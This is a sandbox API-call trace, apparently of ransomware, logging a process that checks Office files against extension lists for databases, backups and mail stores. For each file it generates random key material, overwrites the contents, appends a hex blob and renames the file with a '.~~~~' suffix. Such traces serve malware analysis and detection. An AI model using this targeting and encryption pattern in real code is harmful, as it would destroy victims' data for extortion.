	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".ckp") returned 0x0
	[0138.186] lstrlenW (lpString=".dbt") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".dbt") returned 0x0
	[0138.186] lstrlenW (lpString=".db") returned 3
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".db") returned 0x0
	[0138.186] lstrlenW (lpString=".TXT") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".TXT") returned 0x0
	[0138.186] lstrlenW (lpString=".MDF") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".MDF") returned 0x0
	[0138.186] lstrlenW (lpString=".bdb") returned 4
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".bdb") returned 0x0
	[0138.186] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.187] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.188] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.188] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.188] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25817824434) returned 1
	[0138.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbceb430, dwHighDateTime=0x1d60e1e)) 
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825a58
	[0138.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825a58 | out: hHeap=0x300000) returned 1
	[0138.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf148
	[0138.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf148 | out: hHeap=0x300000) returned 1
	[0138.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.189] GetLastError () returned 0x0
	[0138.189] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.190] GetLastError () returned 0x0
	[0138.323] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.323] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0138.324] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.324] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.324] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.324] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.325] CloseHandle (hObject=0x108) returned 1
	[0138.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf0a0
	[0138.325] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css.~~~~")) returned 1
	[0138.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf0a0 | out: hHeap=0x300000) returned 1
	[0138.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.328] GetLastError () returned 0x0
	[0138.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".scr") returned 0x0
	[0138.328] lstrlenW (lpString=".cmd") returned 4
	[0138.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".cmd") returned 0x0
	[0138.328] lstrlenW (lpString=".dll") returned 4
	[0138.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dll") returned 0x0
	[0138.328] lstrlenW (lpString=".bat") returned 4
	[0138.328] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".bat") returned 0x0
	[0138.328] lstrlenW (lpString=".cpl") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".cpl") returned 0x0
	[0138.329] lstrlenW (lpString=".sys") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".sys") returned 0x0
	[0138.329] lstrlenW (lpString=".msc") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".msc") returned 0x0
	[0138.329] lstrlenW (lpString=".com") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".com") returned 0x0
	[0138.329] lstrlenW (lpString=".lnk") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".lnk") returned 0x0
	[0138.329] lstrlenW (lpString=".msp") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".msp") returned 0x0
	[0138.329] lstrlenW (lpString=".pif") returned 4
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".pif") returned 0x0
	[0138.329] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme17.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.331] lstrlenW (lpString=".sqb") returned 4
	[0138.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".sqb") returned 0x0
	[0138.331] lstrlenW (lpString=".ost") returned 4
	[0138.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".ost") returned 0x0
	[0138.332] lstrlenW (lpString=".txt") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".txt") returned 0x0
	[0138.332] lstrlenW (lpString=".mdt") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".mdt") returned 0x0
	[0138.332] lstrlenW (lpString=".BDB") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".BDB") returned 0x0
	[0138.332] lstrlenW (lpString=".eql") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".eql") returned 0x0
	[0138.332] lstrlenW (lpString=".DBF") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DBF") returned 0x0
	[0138.332] lstrlenW (lpString=".EQL") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".EQL") returned 0x0
	[0138.332] lstrlenW (lpString=".FDB") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".FDB") returned 0x0
	[0138.332] lstrlenW (lpString=".EDB") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".EDB") returned 0x0
	[0138.332] lstrlenW (lpString=".DACPAC") returned 7
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.332] lstrlenW (lpString=".VHD") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".VHD") returned 0x0
	[0138.332] lstrlenW (lpString=".DBV") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DBV") returned 0x0
	[0138.332] lstrlenW (lpString=".dacpac") returned 7
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dacpac") returned 0x0
	[0138.332] lstrlenW (lpString=".sdf") returned 4
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".sdf") returned 0x0
	[0138.332] lstrlenW (lpString=".accdb") returned 6
	[0138.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".accdb") returned 0x0
	[0138.333] lstrlenW (lpString=".DBX") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DBX") returned 0x0
	[0138.333] lstrlenW (lpString=".MDT") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".MDT") returned 0x0
	[0138.333] lstrlenW (lpString=".SQB") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".SQB") returned 0x0
	[0138.333] lstrlenW (lpString=".vhd") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".vhd") returned 0x0
	[0138.333] lstrlenW (lpString=".bac") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".bac") returned 0x0
	[0138.333] lstrlenW (lpString=".mdf") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".mdf") returned 0x0
	[0138.333] lstrlenW (lpString=".BAK") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".BAK") returned 0x0
	[0138.333] lstrlenW (lpString=".BAC") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".BAC") returned 0x0
	[0138.333] lstrlenW (lpString=".dbs") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dbs") returned 0x0
	[0138.333] lstrlenW (lpString=".vhdx") returned 5
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".vhdx") returned 0x0
	[0138.333] lstrlenW (lpString=".NDF") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".NDF") returned 0x0
	[0138.333] lstrlenW (lpString=".dat") returned 4
	[0138.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dat") returned 0x0
	[0138.334] lstrlenW (lpString=".DBS") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DBS") returned 0x0
	[0138.334] lstrlenW (lpString=".CKP") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".CKP") returned 0x0
	[0138.334] lstrlenW (lpString=".edb") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".edb") returned 0x0
	[0138.334] lstrlenW (lpString=".PST") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".PST") returned 0x0
	[0138.334] lstrlenW (lpString=".dbf") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dbf") returned 0x0
	[0138.334] lstrlenW (lpString=".SQL") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".SQL") returned 0x0
	[0138.334] lstrlenW (lpString=".pst") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".pst") returned 0x0
	[0138.334] lstrlenW (lpString=".dbv") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dbv") returned 0x0
	[0138.334] lstrlenW (lpString=".SDF") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".SDF") returned 0x0
	[0138.334] lstrlenW (lpString=".dtxs") returned 5
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dtxs") returned 0x0
	[0138.334] lstrlenW (lpString=".db3") returned 4
	[0138.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".db3") returned 0x0
	[0138.335] lstrlenW (lpString=".OST") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".OST") returned 0x0
	[0138.335] lstrlenW (lpString=".dbx") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dbx") returned 0x0
	[0138.335] lstrlenW (lpString=".DB3") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DB3") returned 0x0
	[0138.335] lstrlenW (lpString=".DAT") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DAT") returned 0x0
	[0138.335] lstrlenW (lpString=".VHDX") returned 5
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".VHDX") returned 0x0
	[0138.335] lstrlenW (lpString=".ndf") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".ndf") returned 0x0
	[0138.335] lstrlenW (lpString=".DB") returned 3
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DB") returned 0x0
	[0138.335] lstrlenW (lpString=".sql") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".sql") returned 0x0
	[0138.335] lstrlenW (lpString=".MYD") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".MYD") returned 0x0
	[0138.335] lstrlenW (lpString=".DBT") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DBT") returned 0x0
	[0138.335] lstrlenW (lpString=".ACCDB") returned 6
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.335] lstrlenW (lpString=".fdb") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".fdb") returned 0x0
	[0138.335] lstrlenW (lpString=".bak") returned 4
	[0138.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".bak") returned 0x0
	[0138.335] lstrlenW (lpString=".myd") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".myd") returned 0x0
	[0138.336] lstrlenW (lpString=".DTXS") returned 5
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".DTXS") returned 0x0
	[0138.336] lstrlenW (lpString=".ckp") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".ckp") returned 0x0
	[0138.336] lstrlenW (lpString=".dbt") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".dbt") returned 0x0
	[0138.336] lstrlenW (lpString=".db") returned 3
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".db") returned 0x0
	[0138.336] lstrlenW (lpString=".TXT") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".TXT") returned 0x0
	[0138.336] lstrlenW (lpString=".MDF") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".MDF") returned 0x0
	[0138.336] lstrlenW (lpString=".bdb") returned 4
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".bdb") returned 0x0
	[0138.336] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME17.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.336] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.337] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.337] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.338] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25832794814) returned 1
	[0138.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbe1bf30, dwHighDateTime=0x1d60e1e)) 
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825b38
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825b38 | out: hHeap=0x300000) returned 1
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf1f0
	[0138.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0138.339] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.339] GetLastError () returned 0x0
	[0138.339] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.339] GetLastError () returned 0x0
	[0138.343] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
